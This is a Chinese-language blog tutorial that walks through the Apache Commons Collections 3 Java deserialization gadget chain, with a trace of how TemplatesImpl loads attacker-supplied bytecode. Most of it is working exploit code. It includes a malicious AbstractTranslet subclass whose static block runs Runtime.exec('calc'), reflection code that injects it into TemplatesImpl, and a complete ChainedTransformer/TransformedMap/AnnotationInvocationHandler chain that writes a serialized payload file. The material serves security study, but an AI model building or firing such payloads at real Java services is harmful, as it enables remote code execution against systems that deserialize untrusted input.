Apache Commons Collections 3

Apache Commons Collections 3

CC1与CC6链都是通过 Runtime.exec() 进行命令执行的。当服务器的代码将 Runtime放入黑名单的时候 就不能使用了。 CC3链的好处是通过动态加载类的机制实现恶意类代码执行。

ClassLoader.loadClass(String name)

先检查这个类是否已经被当前类加载器加载过(缓存查找)。

如果没加载过,走双亲委派模型: 把请求交给父类加载器( parent.loadClass(name) )去找。

如果父加载器找不到(抛 ClassNotFoundException ),才会调用自己的 findClass 。

findClass(String name)

根据类名找到字节码(可能从文件、网络、数据库、甚至内存里)。

调用 defineClass() 把字节码变成 Class 对象。

defineClass(String name, byte[] b, int off, int len)

真正把字节数组解析成 JVM 内部的类结构。

defineClass

首先跟进ClassLoader.loadClass()里面查看调用

1
2
3
4
5
6
7
8
9
10
11
12
13
loadClass(name)

├──(1) 已加载过? → 直接返回 Class 对象

├──(2) 父加载器 loadClass(name)

└──(3) 找不到 → 调用 findClass(name)

└── defineClass(name, bytes, 0, len)

└── JVM 验证 & 生成 Class 对象

└── 执行 <clinit> 静态代码块

最后会调用defineClass加载类,继续寻找调用defineClass的类

image-20250811215858950

TemplatesImpl

TemplatesImpl类会调用defineClass()

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

default类型方法,无法直接访问,寻找调用

在defineTransletClasses()方法里找到

image-20250811215943926

依然是私有,继续寻找

发现在getTransletInstance()方法会调用,且会进行newInstance()初始化

image-20250811220002010

继续寻找调用getTransletInstance()方法

最终发现在newTransformer()会完成调用,且newTransformer()为public方法

image-20250811220016744

所以,目前的链子为

1
2
3
ClassLoader.defineClass()<-TemplatesImpl.defineClass<-
TemplatesImpl.defineTransletClasses()<-TemplatesImpl.getTransletInstance()<-
TemplatesImpl.newTransformer()

必要属性

通过观察发现有些属性必须赋值

_name

若_name为空,则直接返回,而class必须为空,不能赋值

image-20250811220101415

_bytecodes

_bytecodes不能为空,且是加载二进制数据最关键的属性

image-20250811220116521

_tfactory

_tfactory属性不能为空,不然会抛异常

image-20250811220135558

同时发现 _tfactory 会在readObjectt方法被赋值为 new TransformerFactoryImpl() ,因此可以直接手 动赋值为 new TransformerFactoryImpl()

image-20250811220153245

编写poc

首先编写恶意类并生成class文件

1
2
3
4
5
6
7
8
9
10
public class EvilTest {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

创建TemplatesImpl类,并通过反射给 _name , _bytecodes , _tfactory 属性赋值

image-20250811220302539

为字符串,随便赋值

1
2
3
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "1");

_tfactory

刚才已经说了,赋值为 new TransformerFactoryImpl()

1
2
tfactory.set(templates,new TransformerFactoryImpl());

_bytecodes

加载恶意类的关键参数

image-20250811220424632

从定义上看,是个二维数组,且通过遍历来加载类

image-20250811220435889

可以直接在二维数组里套一维数组,在一维数组里写入恶意类二进制数据

1
2
3
4
5
6
7
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
byte[] code =
Files.readAllBytes(Paths.get("D:/Maven/project/cc1/src/main/java/cc3/EvilTest.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

最后再调用newTransformer()函数

1
templates.newTransformer();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class cc3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
name.set(templates, "1");
byte[] code =Files.readAllBytes(Paths.get("D:/Maven/project/cc1/src/main/java/cc3/EvilTest.cla
ss"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}

执行发现报错

image-20250811220626409

进入调试

image-20250811220641126

发现superClass会获取加载类的父类并与 ABSTRACT_TRANSLET 属性进行比较,如果没有找到那么 _transletIndex 会赋值为-1,那么下面的if就会抛异常

查看 ABSTRACT_TRANSLET 属性

1
2
3
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

发现它等于 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ,因此需要恶 意类继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Evil extends
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
System.out.println("Evil success");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException {}

重新编译并执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class cc3Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
name.set(templates, "1");
byte[] code =Files.readAllBytes(Paths.get("D:/Maven/project/cc1/src/main/java/cc3/Evil.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}

成功执行

image-20250811220938227

构造反序列化链

剩下的部分就跟cc1链一样,使用ChainedTransformer类链式加载TemplatesImpl.newTransformer方法, 并创建TransformedMap对象,并使用反射创建AnnotationInvocationHandler类传入TransformedMap 对象,在反序列化就会调用readObject方法并调用链条执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package cc3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
name.set(templates, "1");
byte[] code =Files.readAllBytes(Paths.get("D:/Maven/project/cc1/src/main/java/cc3/Evil.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}),
};
ChainedTransformer chainedTransformer = new
ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformedMap = (TransformedMap)
TransformedMap.decorate(map, null, chainedTransformer);
Class<?> aClass =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aClassConstructor =
aClass.getDeclaredConstructor(Class.class, Map.class);
aClassConstructor.setAccessible(true);
Object o = aClassConstructor.newInstance(Target.class, transformedMap);
serialize(o);
// deserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("ser5.bin"));
oos.writeObject(obj);
}
public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("ser5.bin"));
Object o = ois.readObject();
System.out.println(o);
}
}

image-20250811221134759


Apache Commons Collections 3
http://xiaowu5.cn/2025/12/04/Apache-Commons-Collections-3/
作者
5
发布于
2025年12月4日
许可协议
BY XIAOWU